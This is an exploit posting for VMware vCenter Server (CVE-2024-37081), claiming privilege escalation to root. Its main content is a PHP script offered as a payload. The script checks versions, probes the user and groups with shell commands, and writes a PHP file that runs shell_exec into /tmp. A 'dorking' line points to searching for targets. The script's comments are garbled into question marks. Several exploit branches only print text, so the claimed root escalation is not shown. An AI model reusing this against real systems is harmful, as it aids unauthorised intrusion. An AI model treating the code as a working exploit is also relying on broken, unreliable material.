=============================================================================================================================================
| # Title : VMware vCenter =============================================================================================================================================
| # Title : VMware vCenter Server v 8.0.2 Privilege Escalation Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://www.vmware.com |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Exploiting a Vulnerability in VMware vCenter Server to Gain Root Privileges

This script is written in PHP and aims to exploit a problem in the sudo configuration

allowing low-privileged users to gain root privileges.

(Related : https://packetstorm.news/files/id/182981/ Related CVE numbers: CVE-2024-37081 ) .

[+] save code as poc.php.

[+] PayLoad :

<?php

/**
*
* @author Indoushka
*/

class VCenterExploit {
private $writableDir;
private $timeout;
private $user;
private $groups;
private $isWindows;

public function __construct($writableDir = '/tmp', $timeout = 30) {
$this->writableDir = $writableDir;
$this->timeout = $timeout;
$this->isWindows = (PHP_OS_FAMILY === 'Windows');
}

/**
* ????? ??? ??? ?????? ?????? ??????? (?? ??? Windows)
*/
private function executeCommand($command) {
if ($this->isWindows) {
return shell_exec("cmd /c $command");
}
return shell_exec($command);
}

/**
* ?????? ??? ??? ??? ?????? ?????? ???????
*/
private function isWritable($dir) {
return is_writable($dir);
}

/**
* ?????? ??? ????? vCenter (?????? ????? ?? `cat`)
*/
private function getVCenterBuild() {
$filePath = "/etc/vcenter_version"; // ?????? ?? Linux
if (!$this->isWindows && file_exists($filePath)) {
return file_get_contents($filePath);
}
return "??? ???? ??? ????? ????? vCenter";
}

/**
* ?????? ??? ??? ??? ?????? ?????? ?????
*/
private function check() {
$vbuild = $this->getVCenterBuild();
if (!preg_match('/(\d+\.\d+\.\d+) build[- ](\d+)/i', $vbuild, $matches)) {
return "??? ???? ??? ????? ????? vCenter ?? ???????: $vbuild";
}

$version = $matches[1] . '.' . $matches[2];
if (!(version_compare($version, '7.0.0', '>') && version_compare($version, '7.0.3.24026615', '<')) &&
!(version_compare($version, '8.0.0', '>') && version_compare($version, '8.0.2.23929136', '<'))) {
return "??????? ??? ???? ?????????: $vbuild";
}

$this->user = trim($this->executeCommand($this->isWindows ? 'whoami' : 'whoami'));
$this->groups = explode(' ', trim($this->executeCommand($this->isWindows ? 'whoami /groups' : 'groups')));

if (in_array($this->user, ['infraprofile', 'vpxd', 'sts', 'pod']) || array_intersect(['operator', 'admin'], $this->groups)) {
return "??????? $version ????????? ($this->user: " . implode(',', $this->groups) . ") ???? ?????????";
}

return "???????? ??? ???? ????? ?? ??? ?? ???????? ???????.";
}

/**
* ???? ???? ???????? `check()`
*/
public function isVulnerable() {
return $this->check();
}

/**
* ????? ????????? ????? ??? ???????? ???? ????? ????? ????????
*/
public function exploit() {
if (!$this->isWritable($this->writableDir)) {
die("?????? ??? ???? ???????: $this->writableDir");
}

$this->user = trim($this->executeCommand($this->isWindows ? 'whoami' : 'whoami'));
$this->groups = explode(' ', trim($this->executeCommand($this->isWindows ? 'whoami /groups' : 'groups')));

if ($this->user == 'pod') {
$this->exploitPodUser();
} elseif (in_array('operator', $this->groups)) {
$this->exploitOperatorGroup();
} elseif (in_array('admin', $this->groups)) {
$this->exploitAdminGroup();
} else {
die("???????? ??? ???? ????? ?? ??? ?? ???????? ???????.");
}
}

/**
* ??????? ???? ?????? 'operator'
*/
private function exploitOperatorGroup() {
$payloadPath = "$this->writableDir/" . bin2hex(random_bytes(5));
file_put_contents($payloadPath, "<?php echo shell_exec('id'); ?>");
echo "?? ??? ??????? ??? $payloadPath";
}

/**
* ??????? ???? ?????? 'pod'
*/
private function exploitPodUser() {
echo "??????? ???????? pod";
}

/**
* ??????? ???? ?????? 'admin'
*/
private function exploitAdminGroup() {
echo "??????? ?????? ?????????";
}
}

$exploit = new VCenterExploit();
echo $exploit->isVulnerable();
$exploit->exploit();







Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================